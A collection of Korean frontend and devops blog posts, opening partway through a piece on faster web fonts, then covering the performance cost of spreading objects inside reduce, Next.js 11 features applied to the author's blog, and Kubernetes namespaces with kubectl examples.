> 페이지에 있는 각 폰트는 고유한 FOIT, FOUT 기간을 가진다. 따라서 폰트가 개별적으로 따로따로 swap 되어 버린다. 이와 관련된 [웃긴 사건](https://www.zachleat.com/web/mitt-romney-webfont-problem/이 있다. 따라서 이를 완벽하게 제어하기 위해서는 , 자바스크립트를 써야 한다.

## 폰트 파일을 미리 로딩하기

FOIT/FOUT 기간을 최소화 하기 위해, 웹 폰트를 가능한 빠르게 로딩을 시작할 필요가 있다. `<head/>`에 `<link rel="preload">`를 사용해서, 브라우저에 가능한 빠르게 폰트를 다운로드 하게 할 수 있다. 가능한 `<head>`의 가장 앞자리에 설정하는 것이 좋다.

```html
<link
  rel="preload"
  href="/typefesse.woff2"
  as="font"
  type="font/woff2"
  crossorigin
/>
```

이 태그를 추가하면, 브라우저에 즉시 폰트 파일을 로드하도록 지시하게 된다. 일반적으로 css에서 특정 글꼴에 대한 참조가 발견하고 이를 참조하는 DOM요소를 찾을 때까지는 시작되지 않는다.

브라우저는 현재 페이지에 필요한 폰트만 다운로드 할 수 있을 정도로 충분히 똑똑하다. `preload`를 사용하면, 이 동작이 리셋되어 브라우저가 사용하지 않더라도 폰트를 다운로드 해야 한다. 따라서 각 폰트의 단일 포맷에 대해서만 이 옵션을 사용해야 한다.

그러므로, 더 많은 폰트를 사전 로드할 수록 이 기법의 이점이 줄어든다. 따라서, 화면에 최초에 표시되는 (above the fold, 100vh)로 표시되는 폰트에 이 속성을 지정하는 것이 좋다.

> https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/

## 폰트 파일의 부분 집합 만들기

폰트의 하위 집합을 설정하면, 딱 필요한 glyph(개별 문자 또는 기호)만 포함하는 더 작은 폰트 파일을 생성할 수 있다. https://everythingfonts.com/subsetter 와 같은 도구를 사용한다면, 폰트에서 필요한 글꼴만 지정하여 포함시킬 수 있다.

이 도구는 강력한 도구지만, 몇가지 약점이 있다. 예를 들어 사용자가 생성한 컨텐츠, 이름, 장소를 표시하는 웹 사이트를 구축하려면 일반적인 26개의 알파벳과, 10개의 숫자 및 기호 이외에 사용자가 추가할 수 있는 다양한 문자에 대한 고려를 해야 한다. 프랑스어, 베트남어, 스페인어, 그리스어, 히브리어와 같은 언어에서 나오는 분음 부호들도 고민해봐야 한다.

물론 이를 다 수동으로 해야 하는 것은 아니다. [Glyphhanger](https://www.zachleat.com/web/glyphhanger/)를 사용하면, 두가지 도움을 얻을 수 있다. 먼저 웹페이지를 보고 사용되는 유니코드 문자의 범위를 결정한다. 그리고, 지정된 범위의 문자만 포함하는 새로운 버전의 폰트 파일을 출력한다.

> https://www.sarasoueidan.com/blog/glyphhanger/

## 폰트를 셀프 호스팅하기

앞선 네가지와는 다르게 이는 보편적으로 적용해도 좋은 규칙은 아니다.

- https://fonts.google.com/
- https://fonts.adobe.com/

와 같은 폰트 호스팅 서비스를 사용하는게 좋은 이유도 있다.

1. 웹에서 특정 폰트를 가장 저렴하게 사용할 수 있으면서, 법적으로도 유효한 방법이다. 이러한 서비스 중 하나를 사용하는 경우, 앞서 언급한 하위집합 또는 font-display 지시자를 지원하는지 확인해야 한다.
2. 편리하다. html 라인을 그냥 무지성으로 복사해서 head에 붙여넣는 것이 모든 방법보다 빠르다.

만약 순전히 편리함 때문에 구글 폰트를 사용하고 있다면, https://google-webfonts-helper.herokuapp.com/ 를 한번 방문해보는 것도 좋다. 이 도구를 사용하면 전체 구글 폰트 집합에서 커스텀 웹 폰트 번들을 만들고, 필요한 두께나 문자 집합을 정의한다음, 모든 css 및 폰트 파일을 포함하는 다운로드를 만들 수 있다.

> 동일한 글꼴을 동일한 소스에서 로드하는 사이트를 사용자가 이전에 방문한적이 있다면, 브라우저 캐시로 인해 다시 다운로드할 필요가 없다는 이야기도 있다. https://developers.google.com/fonts/faq#what_does_using_the_google_fonts_api_mean_for_the_privacy_of_my_users 이는 한 때 사실일 수도 있지만, 아닐 수도 있다. 구글 크롬이나 사파리 모두 추적에 대한 염려 때문에 서로 다른 도메인간에 캐시된 타사 리소스를 공유하는 것을 명시적으로 금지하고 있다. https://www.stefanjudis.com/notes/say-goodbye-to-resource-caching-across-sites-and-domains/

반면 폰트를 셀프 호스팅해서 사용하면 아래와 같은 장점이 있다.

### 성능

도메인 룩업을 하는데에는 시간이 소요된다. 물론 [preconnect 리소스 힌트](https://web.dev/uses-rel-preconnect/)를 사용하면 문제를 해결할 수 있지만, 어쨌건간에 새로운 도메인 연결에 TCP를 열면 항상 성능저하가 발생한다.

![font-of-web-dev](./images/font-of-web.dev.png)

> web.dev 도 보면 폰트를 셀프 호스팅 하고 있다.

### 프라이버시

Adobe fonts와 같은 유료 웹 폰트 서비스는 빌링으로 인한 이유 때문에 페이지 뷰를 감지하지만, 딱 필요한 것보다 더 많은 데이터를 수집하고 있을 수도 있다. 만약 가능하다면, 자바스크립트 `<script/>` 대신, `<link rel="stylesheet>` 를 사용하여 데이터 수집을 막아야 한다.

구글 폰트의 경우 ip 주소, user-agent외에 웹 사이트 방문자들에 대한 정보를 수집하지 않는 것처럼 보이지만, 구글이 무료로 서비스를 제공함으로써 [많은 양의 데이터를 수집한 것으로 보인다](https://fonts.google.com/analytics).

### 제어권

셀프 호스팅 폰트를 사용하면, 폰트 로딩 방법을 완벽하게 제어할 수 있으므로, 커스텀 폰트 하위 세트를 제공하거나 `font-display`를 정의하거나, 브라우저가 폰트를 캐시할 기간을 지정할 수 있다.

### 신뢰도

써드파티 서비스는 느려지거나, 중단되거나 혹은 [서비스가 종료될 수 있는](https://web.archive.org/web/20180617081657/http://blog.fontdeck.com/post/133794978966/why-fontdeck-is-retiring) 위험이 있다. 셀프 호스팅 폰트를 사용하면 웹사이트가 살아있는 한 폰트는 사용가능할 것이다.

## 결론

각 단계는 자체적으로도 장점이 있지만, 함께 다같이 적용하면 큰 개선으로 이어질 수도 있다. 여기에서 언급한 몇가지를 구현하기로 결정했다면, 적용 전후로 [Light House](https://developers.google.com/web/tools/lighthouse)나 [Web Page Test](https://www.webpagetest.org/)로 각 개별 변경에 따른 성능 개선을 확인해보자.

## 참고

- https://d2.naver.com/helloworld/4969726
- https://iainbean.com/posts/2021/5-steps-to-faster-web-fonts/

---

Source: https://yceffort.kr/2021/06/reduce-spread-anti-pattern.md
Title: reduce에 spread 를 쓰면 안되는 이유
Description: 솔직히 뭔가 멋있어서 많이 쓰긴 함
Date: 2021-06-22
Tags: javascript, web-performance

자바스크립트 프로젝트를 개발하다보면, 배열을 하나의 객체로 묶어야될 필요성이 생길 때가 있다. 아래 예제를 들어보자.

```javascript
const items = [
  {name: 'obama', age: 10, country: 'USA'},
  {name: 'trump', age: 14, country: 'USA'},
  {name: 'moon', age: 37, country: 'KOREA'},
  {name: 'clinton', age: 64, country: 'USA'},
  {name: 'bush', age: 49, country: 'USA'},
]
```

이렇게 배열로 되어있는 것을 이름을 키로 하는 객체로 바꾼다고 한다면, 아마 다들 [reduce](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)를 생각할 것이다.

```javascript
const result = items.reduce((prev, item) => {
  prev[item.name] = {age: item.age, country: item.country}
  return prev
}, {})

// {
//   obama: { age: 10, country: 'USA' },
//   trump: { age: 14, country: 'USA' },
//   moon: { age: 37, country: 'KOREA' },
//   clinton: { age: 64, country: 'USA' },
//   bush: { age: 49, country: 'USA' }
// }
```

혹은 for loop를 활용하여 똑같이 할 수 있다.

```javascript
const result2 = {}
for (let item of items) {
  result2[item] = {age: item.age, country: item.country}
}
```

둘 중에 뭐가 더 읽기 좋은 코드냐고 묻는다면, 당연히 후자일 것이다. 내가 아무리 `reduce`를 좋아한다고 해도 그건 반박 불가능한 사실이다. 그러나 요즘 리액트 커뮤니티의 성장으로 인해 함수형 프로그래밍 스타일로 코드를 작성하는 일이 잦아짐에 따라서 reduce를 쓰는일이 많아지고 있다.

그러나 문제는 아래의 스타일이다.

```javascript
const result3 = items.reduce(
  (prev, item) => ({
    ...prev,
    [item.name]: {age: item.age, country: item.country},
  }),
  {},
)
```

> 이제부터 이런 코드를 `reduce...spread`라고 부르겠다.

이 spread operator는 [Object.assign](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/assign)과 유사하게 동작하는데, 소스 객체의 속성을 순환하면서 각 속성을 타켓의 객체에 하나씩 복사해 넣는다. 위 코드의 경우에는, 새로운 객체를 계속해서 복사하는 것이다. 위 코드의 문제는 무엇일까?

위코드의 동작을 살펴본다면, 대충 아래와 같을 것이다.

```bash
# 첫번째
result = {}

{...result, 'obama': {age: 10, country: 'USA'}}

# 두번째
result = {'obama': {age: 10, country: 'USA'}}

{...result, 'trump': {age: 14, country: 'USA'}}

# 세번째

result = {'obama': {age: 10, country: 'USA'}, 'trump': {age: 14, country: 'USA'}}

{...result, 'moon': {age: 37, country: 'KOREA'}}

##....
```

> 의사 코드이기 때문에 대충 보면 된다.

루프가 반복될때마다, 모든 루프에서 정확히 n회 실행되는 것은 아니지만, 이렇게 될 경우 $$O(n^2)$$라 볼 수 있다.

바벨이나 타입스크립트 트랜스파일러를 사용하면 해당 코드를 어떻게 변환할까?

그전에 먼저, [tc39에 나와있는 객체 전개 연산자의 스펙](https://github.com/tc39/proposal-object-rest-spread/blob/master/Spread.md)을 살펴보자.

```javascript
let aClone = {...a}
let aClone = Object.assign({}, a)
```

위 구문도 거의 동일한 작업을 수행하므로, 전개 연산자와 비슷한 시간 복잡성을 가질 것이다. 즉, 새 객체를 생성한다음, 나머지 객체의 키를 새객체에 반복해서 복사하는 것이다.

- [babel transpile](https://babeljs.io/repl#?browsers=defaults%2C%20not%20ie%2011%2C%20not%20ie_mob%2011&build=&builtIns=false&corejs=false&spec=true&loose=true&code_lz=MYewdgzgLgBAllApgWwjAvDA2gKBjAbzAENlEAuGAchACNTiqAaGYgcwpgEYAGF0AK5goAJwCelKgFUAygEEqAXyZ5CJMpNEDkAB2asOlLgBZ-IIaInVZC5aqKlOVZCHD72nAMwB2MxfGSANIA8gBKAKK2KvgOGtTAADZwwm4sHpQAbKYwgsIB1vJKLPbqTrQCEAAW7oYwxgCcfnlW0oXKMDgAujg4oJCwIogQAglQnhjwSKgAdIMAJgLAiAAUyzqDAG4sCCgAlBgAfDDLBKrT5-uIW9g7yNOlnZQE6ZMo0x5NlpS307mWijhFLsWAQgUA&debug=false&forceAllTransforms=true&shippedProposals=false&circleciRepo=&evaluate=true&fileSize=false&timeTravel=false&sourceType=script&lineWrap=true&presets=env%2Creact&prettier=false&targets=&version=7.14.3&externalPlugins=)
- [typescript](https://www.typescriptlang.org/play?#code/MYewdgzgLgBAllApgWwjAvDA2gWAFAwwDeYAhsogFwwDkIARuaTQDQykDmVMAjAAxtQAVzBQATgE9qNAKoBlAII0Avi3yES5bjXFDkAB1bsu1HgBZBIEeKm15S1euJkK05CHBHO3AMwB2S2tJaQBpAHkAJQBRBzUCZy1pYAAbOFFPNm9qADYLGGFRYLtFFTYnTVdaeiEIAAsvExgzAE5AwttZEtUYfABdfHxQSFgxRAghZKgfDHgkVAA6UYATIWBEAAp1-VGANzYEFABKDAA+GHWiJ3nr7cQ97APkeZdEXuoiLNmUee82m2pHvMCjZlPhlIc2ERwUA)

따라서 reduce에서 전개연산자로 합성해서 리턴하는 것은 굉장히 느린 코드라고 볼 수 있다.

여담으로, 이와 관련된 키보드 배틀(?) 이 트위터에서 열린 적이 있다.

https://twitter.com/fildon_dev/status/1396252890721918979

## 문제의 코드

```javascript
const users = [
  {id: 1, name: 'Tony Stark', active: false},
  {id: 2, name: 'Bruce Banner', active: true},
  {id: 3, name: 'Natasha Romanoff', active: false},
  {id: 4, name: 'Chris Evans', active: true},
  {id: 5, name: 'Chris Hemsworth', active: false},
  {id: 6, name: 'Clark Gregg', active: false},
]

// good?
const result1 = users.reduce((acc, curr) => {
  if (curr.active) {
    return acc
  }
  return {...acc, [curr.id]: curr.name}
})

// bad?
const result2 = users
  .filter((user) => !user.active)
  .map((user = (user) => ({[user.id]: user.name})))
  .reduce(Object.assign, {})
```

그래서 뭐가 더 성능이 좋고 빠를까? 저 두개가 최선의 방법일까? 만약에 나라면,,,

🤔

---

Source: https://yceffort.kr/2021/06/nextjs-11.md
Title: Nextjs 11 릴리즈 노트 살펴보고 블로그에 적용하기
Description: nextjs 정말 열일하네2222
Date: 2021-06-19
Tags: nextjs, web-performance

작년 10월 쯤에 nextjs 10을 적용해보고 릴리즈 노트를 살펴보았는데, 어느덧 nextjs 11까지 나오게 되었다. 8개월 만에 메이저 버전을 업데이트 했는데, 정말 놀랍다. 반년 남짓한 사이에 또 발전을 만들어 냈는데 대단하다는 생각이 드는 한편으로 많이 자극도 되었다. 11 버전에서는 어떤 것들이 달라졌는지 살펴보자.

https://nextjs.org/blog/next-11

## Table of Contents

## CHANGELOG

### [Conformance](http://web.dev/conformance)

Conformance (한글로는 일치,부합,적합성이라고 하는데 딱히 뭐라고 번역해야 할지 모르겠다. 그냥 Conformance라 부르겠다.) 는 최적의 로딩 및 Core web vital을 지원하기 위해 만들어진 시스템으로, 보안 및 접근성과 같은 여러 품질 측면의 다양한 리소스를 지원하기 위한 기능이 제공된다. 이를 활용하면, 최적의 성능을 내기 위한 다양한 규칙들을 개발자들이 외우고 다닐 필요가 없이, 적합한 옵션을 선택할 수 있다.

또한 이번에 [eslint-config-next](https://github.com/vercel/next.js/tree/canary/packages/eslint-config-next)도 제공하면서, 개발 중에 생기는 프레임워크 관련 문제를 더 쉽게 파악할 수 있고, 개발 시에도 베스트 프랙티스를 보장할 수 있는 여러가지 가이드라인을 제공하게 되었다.

```bash
» npx next lint
info  - Loaded env from /Users/yceffort/private/yceffort-blog-v2/.env
info  - Using webpack 5. Reason: Enabled by default https://nextjs.org/docs/messages/webpack5
✔ No ESLint warnings or errors
```

뭐 근데, 사실 살펴보니까 대단한 룰들이 있지는 않았다.

https://github.com/vercel/next.js/blob/afa86cc5bbd488d123e2c5888205a40a5a0afe42/packages/eslint-config-next/index.js#L16-L27

```json
{
  "rules": {
    "import/no-anonymous-default-export": "warn",
    "react/react-in-jsx-scope": "off",
    "react/prop-types": "off",
    "jsx-a11y/alt-text": [
      "warn",
      {
        "elements": ["img"],
        "img": ["Image"]
      }
    ]
  }
}
```

하지만 주목할 만한 것은 `eslint-config-next`보다 `eslint-plugin-next` 였다.

https://github.com/vercel/next.js/tree/canary/packages/eslint-plugin-next/lib/rules

여기에 있는 룰들을 간단히 요약해보았다.

- `google-font-display`: 구글 폰트에 `font-display` 속성이 적절히 되어 있는지 여부
- `google-font-preconnect`: 구글 폰트에 `preconnect`가 사용되고 있는지 여부 (rel 속성)
- `link-passhref`: [next/link](https://nextjs.org/docs/tag/v9.5.2/api-reference/next/link#if-the-child-is-a-custom-component-that-wraps-an-a-tag)의 하위 컴포넌트가 커스텀으로 있다면 `passhref`를 넘겨주었는지 여부
- `no-css-tags`: html link 엘리먼트가 외부 스타일 시트를 불러오는 경우 (웹 페이지의 css 성능에 악영향)
- `no-document-import-in-page`: `next/document`가 `pages/_document.*sx`외부에서 사용되는 경우
- `no-head-import-in-document`: `pages/_document.*sx` 내부에 `next/head`를 쓰는 경우
- `no-html-link-for-pages`: `pages` 디렉토리가 없는 경우
- `no-img-element`: `<img/>` 대신 `<next/image>`를 쓰세여. `next/image`가 더 좋다. https://nextjs.org/docs/api-reference/next/image
- `no-page-custom-font`: custom font는 `pages/_document.*sx`에서 불러오세여
- `no-sync-script`: 외부 스크립트를 sync로 불러오지 말것
- `no-title-in-document-head`: `next/document`에 `<Head>`에 `<title>`에 있으면 안된다.
- `no-unwanted-polyfills`: next에서 이미 기본으로 제공하는 폴리필을 중복으로 불러오지 말것

대부분이 next와 관련된 룰이었지만, 이번에 구글과 함께 Conformance를 적용하면서 Core web vital을 많이 신경을 쓰기 시작한 것 같다. vercel에도 이와 관련한 기능이 있기도 하고.

![partner drive process](https://web-dev.imgix.net/image/0SXGYLkliuPQY3aSy3zWvdv7RqG2/QFTQX7npdBsFheXIqbuc.png?auto=format&w=845)

이전까지는 구글이 개발자들에게 제발좀 Core web vital을 지키세여!!! 라고 외치는 전략이었다면, 이번에는 영리하게도 프레임워크를 만들고 있는 파트너 (리액트, 뷰, 타입스크립트, 바벨 등)을 공략하여 이러한 프레임워크를 쓰고 있는 개발자라면 자연스럽게 Core Web Vital을 챙길 수 있게 끔 하는 전략으로 바꾼 것으로 보인다.

사실 잘 돌아가고 있는 앱에 (사실 그렇게 보이는 앱을..) 성능이 중요하다, core web vital이 중요하다, 라고 백날 이야기 해봐야 이를 챙기는 프론트엔드 개발자가 몇이나 있을까? 그래서 제발 좀 이를 지켜주세요!! 라고 하는 것보다는, 프레임워크 레벨에서 아예 이를 세트로 묶어서 공략한다면 번거롭게 추가로 무언가를 한다는 거부감을 줄일 수 있을 것 같다.

그리고 전체적인 프론트엔드 애플리케이션의 품질이 좋아지면, 구글의 웹페이지 정보 수집에도 많은 발전이 있을 것으로 보인다. 구글의 이러한 전략에 대한 내용은 https://web.dev/introducing-aurora/ 에 있는데, 나중에 나도 한번 다뤄봐야겠다.

### 성능 향상

개발자들의 개발 경험을 향상 시키기 위해, 10.1, 10.2 에서는 시작시간을 최대 24% 단축했고, React fast refresh를 활용해 개발시 업데이트 반영시간을 40%까지 단축했다. 그리고 이번 11에서는 시간을 더 줄이기 위해 babel에 추가적인 최적화가 포함되었다. 개발자들에게 느껴지는 직접적인 코드의 변화는 없지만, 개발 환경에서 더 빠른 환경을 제공할 수 있게 되었다.

### 스크립트 최적화

[next/script](https://nextjs.org/docs/basic-features/script)가 탄생했다. 써드파티 스크립트를 로딩할 때 시간과 성능을 개선할 수 있도록 도와준다.

```jsx
function Home() {
  return (
    <>
      <Script src="https://www.google-analytics.com/analytics.js" />
    </>
  )
}
```

이 `<Script>`는 `strategy` 속성있고, 다음의 값을 가질 수 있다.

- `beforeInteractive`: 페이지가 활성화되기전에 (번들된 자바스크립트가 실행되기전에) 스크립트를 가져오고 실행한다. 스크립트가 SSR된 html내부에 주입된다.
- `afterInteractive`: 페이지가 활성화 된 이후 (번들된 자바스브립트가 모두 실행되고) 스크립트를 가져오고 실행한다. 스크립트를 hydration과정에서 주입하고, 이 후 즉시 실행된다.
- `lazyOnload`: `onload` 시점에 스크립트를 실행한다. `requestIdleCallback`을 활용하여 idle 상태가 되면 바로 실행한다.

```jsx
<Script
  src="https://polyfill.io/v3/polyfill.min.js?features=Array.prototype.map"
  strategy="beforeInteractive" // lazyOnload, afterInteractive
/>
```

`onLoad` 속성도 생겼다.

```jsx
<Script
  src={url} // consent mangagement
  strategy="beforeInteractive"
  onLoad={() => {
    // 로딩이 끝나면 그 이후에 실행됨. 그 이후에 스크립트를 로딩하거나 할 수 있음.
  }}
/>
```

또한 기본 script 로딩을 `async`에서 `defer`로 변경했다. `defer`가 더 좋은 이유, 이러한 변경을 하게된 계기는 아래 링크를 참조하자.

- https://yceffort.kr/2020/10/defer-than-async
- https://github.com/vercel/next.js/discussions/24938
- https://docs.google.com/document/u/0/d/1ZEi-XXhpajrnq8oqs5SiW-CXR3jMc20jWIzN5QRy1QA/mobilebasic#

### 이미지 최적화

[Cumulative Layout Shift](https://vercel.com/blog/core-web-vitals#cumulative-layout-shift)란 이미지 로딩으로 인해 사이트의 레이아웃이 갑자기 밀리거나 변하는 현상을 의미한다. `next/image`가 이 현상을 개선했다고 한다.

- 로컬이미지에 대한 사이즈 감지: `src`에 들어가 있는 로컬 이미지에 대해 너비와 높이를 자동으로 정의 한다고 한다.

```jsx
import Image from 'next/image'
import author from '../public/me.png'

export default function Home() {
  return (
    // 로컬 이미지를 불러오면, 알아서 width height를 계산한다.
    <Image src={author} alt="Picture of the author" />
  )
}
```

- 이미지 placeholder: 이미지가 완전히 로딩 되기전에 자동으로 블러된 이미지를 보여주는 placeholder를 지원한다.

지금 내 블로그의 헤더이미지, 프로필이미지, about 이미지 등에 적용되어 있다. (본문 이미지는 mdx로 되어있어서 적용되어있지 않다.)

```javascript
<Image src={author} alt="Picture of the author" placeholder="blur" />
```

또는 `blurDataURL`을 직접 넣어서 구현가능하다.

```jsx
<Image
  src="https://nextjs.org/static/images/learn.png"
  blurDataURL="data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIAAoDASIAAhEBAxEB/8QAFQABAQAAAAAAAAAAAAAAAAAAAAb/xAAhEAACAQMDBQAAAAAAAAAAAAABAgMABAUGIWEREiMxUf/EABUBAQEAAAAAAAAAAAAAAAAAAAMF/8QAGhEAAgIDAAAAAAAAAAAAAAAAAAECEgMRkf/aAAwDAQACEQMRAD8AltJagyeH0AthI5xdrLcNM91BF5pX2HaH9bcfaSXWGaRmknyJckliyjqTzSlT54b6bk+h0R//2Q=="
  alt="Picture of the author"
  placeholder="blur"
/>
```

### Webpack 5

nextjs에 webpack5가 이제 기본으로 지원된다. 이로 인한 이점은 [여기](https://nextjs.org/blog/next-10-2#webpack-5)에 나와 있다. 만약 webpack 5 미만 버전으로 custom 옵션을 사용하고 있다면, [여기](https://nextjs.org/docs/messages/webpack5)에서 마이그레이션을 할 수 있다.

### create-react-app migration

[@next/codemod](https://nextjs.org/docs/advanced-features/codemods)는, nextjs에서 deprecated된 기능을 자동으로 변환해주는 도구다. 여기에는 `/pages` 디렉토리를 생성하고, css를 적절한 위치로 import 하는 등의 옵션이 포함되어 있다. 여기에 cra로 생성된 앱을 점진적으로 nextjs로 바꿔주는 기능이 추가되었다.

```bash
npx @next/codemod cra-to-next
```

아직은 실험단계라고 한다.

### Next.js Live

https://nextjs.org/live 는, next를 활용한 전체 개발 프로세스를 웹 브라우저에서 할 수 있도록 도와주는 애플리케이션이다. 빌드단계를 생략하고 URL로 즉시 개발이 가능해지고, 공동작업도 가능하다고 한다. 아직 early access 단계라서 직접 사용해보지는 못했지만,

![nextjs.live](https://nextjs.org/_next/image?url=%2F_next%2Fstatic%2Fimage%2Fpublic%2Fstatic%2Flive%2Fbrowser.f5aa736f88c19b45aa423f7b1c0ca58f.png&w=3840&q=75)

모습을 보아하니, nextjs 애플리케이션을 stackblitz 처럼 웹에서 실시간으로 개발할 수 있게 해주고, 거기에 다른 디자이너나 기획자들이 협업할 수 있도록 도와주는 도구 인 것 같다.

이를 위해 서비스워커, 웹어셈플리, ESModule, [sucrase](https://github.com/alangpierce/sucrase), Tailwind JIT 등의 최신 기술을 집약했다고 한다.

### React 버전

최소 리액트 버전이 17.0.2로 업데이트 되었다고 한다.

### Upgrade guide

https://github.com/vercel/next.js/blob/canary/docs/upgrading.md

## 블로그 적용 후기

일단 새롭게 추가된 `<next/script>`, `<next/image>`의 blur를 위주로 적용했다. 개발 속도에서의 개선은 체감상 크게 못느꼈지만 (상대적으로 무겁지 않은 애플리케이션이라 더더욱), `Script` `blur` 등의 기능은 유용하게 쓸 수 있었다. 그리고 Conformance를 읽으면서 블로그의 라이트 하우스에 소홀했었다는 점을 떠올리며 점수를 끌어올렸다.

### before

![before](./images/before-blog.png)

### after

![after](./images/after-blog.png)

> 이정도면 꽤 만족스럽게 끌어올렸다. 당분간은 라이트 하우스를 쳐다보지 않아도 될 것 같다.

nextjs가 이렇게 훌륭한 프레임워크를 제공해주어서 좋을 따름이지만, 그 뒤에 숨겨져 있는, 프론트엔드 개발에 필요한 많은 요소들을 놓치거나 혹은 이것들을 상대적으로 덜 중요한 것으로 생각하는 경우도 종종 보게 된다. 어떻게든 좋은 애플리케이션을 만들면 되는 것은 회사와 블로그에서는 중요한 것일 수도 있지만, 그 뒤에 `babel`, `webpack`, `eslint` 가 어떻게 동작하고 있는지, `blur`처리는 어떻게 자동으로 되고 있는지, `Script`의 각 값별로 어떤식으로 동작하는 지 등을 이해하는 것은 개발자로서 성장하는데 있어 정말 중요한 일이다. 무지성 버전업, 이후 documentation 감상 후 적용 또한 좋은 일이지만, 이 뒤에서 무엇이 일어나고 있는지, 오픈소스 컨트리뷰터 들이 어떠한 고민을 하고 있는지도 뒤늦게나마 함께 공부해본다면 분명 유의미한 일이 될 것이다.

---

Source: https://yceffort.kr/2021/06/study-k8s-4.md
Title: K8s 공부 (4)
Description: 무지성에서 시작하는 K8s 공부해보기 시리즈(4) namespace의 정의를 정확히 알아야지
Date: 2021-06-19
Tags: kubernetes, devops

[K8s 공부 (3)](/2021/06/study-k8s-3)에서 이어집니다.

## Namespace

- 리소스를 네임스페이스 안에 모아 둘 수 있다. 따라서 클러스트 하나에서 여러 개의 네임스페이스를 둘 수 있다. - 클러스트 내부의 가상의 클러스터로 볼 수 있다.
- 클러스터를 생성하면 기본적으로 네임스페이스가 4개 생성되어 있다.

```bash
» kubectl get namespace
NAME              STATUS   AGE
default           Active   8d
kube-node-lease   Active   8d
kube-public       Active   8d
kube-system       Active   8d
```

- `kube-system`: 이 namespace는 우리가 건들 필요가 없음. 시스템 프로세스, master, kubectl 을 관리
- `kube-public`: config map 과 같이 public하게 (인증이 없어도) 접근할 수 있는 데이터를 관리

```bash
» kubectl cluster-info
Kubernetes control plane is running at https://192.168.64.3:8443
KubeDNS is running at https://192.168.64.3:8443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'.
```

- `kube-node-lease`: nodes의 하트비트. 각 노드의 현재 가용성을 관리.
- `default`: 여기서 우리가 만드는 리소스가 생성됨.

```bash
» kubectl create namespace my-namespace
namespace/my-namespace created
» kubectl get namespace
NAME              STATUS   AGE
default           Active   8d
kube-node-lease   Active   8d
kube-public       Active   8d
kube-system       Active   8d
my-namespace      Active   11s
```

이렇게 명령어로 생성하는 것 외에, namespace 설정 파일로도 만들 수 있음. (이게 더 낫다)

### 왜 네임스페이스를 만들어야 하나?

공식 문서에 따르면, 10명이하의 사용자가 있는 작은 프로젝트에서는 네임스페이스를 사용하지 말라고 한다. 뭐 그럼에도 네임스페이스별로 관리해서 개발하는 것이 여러가지 이점이 있다.

만약 클러스터에 하나의 네임스페이스만 있다고 가정해보자. 온갖 리소스들이 디폴트 네임스페이스에 생성되고, 복잡한 deployments의 경우 여러가지 리소스들이 섞이게 될 것이다. 그렇게 되면 여러개의 컴포넌트가 섞이게 되면서 현재의 overview를 볼 수 없을 것이다.

따라서 리소스를 네임스페이스를 통해서 그룹화 할 수 있다. `Database` `Monitoring` `Elastic Stack` `nginx-ingress` 등으로 관리 할 수 있다.

또 두개의 팀이 있고, 하나의 디폴트 네임스페이스만 쓴다고 가정해보자. 두 팀이 같은 deployment 이름으로 다른 설정으로 배포한다면, 하나의 deployment를 덮어버리는 사태가 발생한다. 이러한 충돌을 방지하기 위해서는, 팀별로 네임스페이스를 별도로 관리하는 것이 좋다. 그리고 팀별로 분리하게 되면, 서로의 리소스를 침해하는 등의 문제도 발생하지 않을 것이다.

마지막으로, staging, deployment 등 배포 레벨을 여러개로 관리하는 경우를 생각해보자. nginx-ingress controller, elastic 등은 배포 환경에 상관없이 재활용할 수 있으므로 네임스페이스를 활용하는 것이 좋다.

- 컴포넌트를 구조화 할 수 있음
- 팀 사이의 충돌을 방지할 수 있음
- 다른 환경에서도 서비스를 재사용할 수 있음
- 네임스페이스 별로 접근과 리소스를 제한할 수 있음

### 네임스페이스의 특징

- 다른 네임스페이스에 있는 대부분의 리소스에 접근할 수 없다. (다른 네임스페이스에 있는 configmap, secret을 참조하는 등을 할 수 없다.) 그러나, 서비스의 경우에는 가능하다.
- 일부 컴포넌트는 네임스페이스 내부에서 생성할 수 없다. (글로벌로 생성해야하는 것들) 이러한 것들에는 volume, node 가 있다.

`네임스페이스 내부에 생성할 수 없는 것들`

```bash
» kubectl api-resources --namespaced=false
NAME                              SHORTNAMES   APIVERSION                             NAMESPACED   KIND
componentstatuses                 cs           v1                                     false        ComponentStatus
namespaces                        ns           v1                                     false        Namespace
nodes                             no           v1                                     false        Node
persistentvolumes                 pv           v1                                     false        PersistentVolume
mutatingwebhookconfigurations                  admissionregistration.k8s.io/v1        false        MutatingWebhookConfiguration
validatingwebhookconfigurations                admissionregistration.k8s.io/v1        false        ValidatingWebhookConfiguration
customresourcedefinitions         crd,crds     apiextensions.k8s.io/v1                false        CustomResourceDefinition
apiservices                                    apiregistration.k8s.io/v1              false        APIService
tokenreviews                                   authentication.k8s.io/v1               false        TokenReview
selfsubjectaccessreviews                       authorization.k8s.io/v1                false        SelfSubjectAccessReview
selfsubjectrulesreviews                        authorization.k8s.io/v1                false        SelfSubjectRulesReview
subjectaccessreviews                           authorization.k8s.io/v1                false        SubjectAccessReview
certificatesigningrequests        csr          certificates.k8s.io/v1                 false        CertificateSigningRequest
flowschemas                                    flowcontrol.apiserver.k8s.io/v1beta1   false        FlowSchema
prioritylevelconfigurations                    flowcontrol.apiserver.k8s.io/v1beta1   false        PriorityLevelConfiguration
ingressclasses                                 networking.k8s.io/v1                   false        IngressClass
runtimeclasses                                 node.k8s.io/v1                         false        RuntimeClass
podsecuritypolicies               psp          policy/v1beta1                         false        PodSecurityPolicy
clusterrolebindings                            rbac.authorization.k8s.io/v1           false        ClusterRoleBinding
clusterroles                                   rbac.authorization.k8s.io/v1           false        ClusterRole
priorityclasses                   pc           scheduling.k8s.io/v1                   false        PriorityClass
csidrivers                                     storage.k8s.io/v1                      false        CSIDriver
csinodes                                       storage.k8s.io/v1                      false        CSINode
storageclasses                    sc           storage.k8s.io/v1                      false        StorageClass
volumeattachments                              storage.k8s.io/v1                      false        VolumeAttachment
```

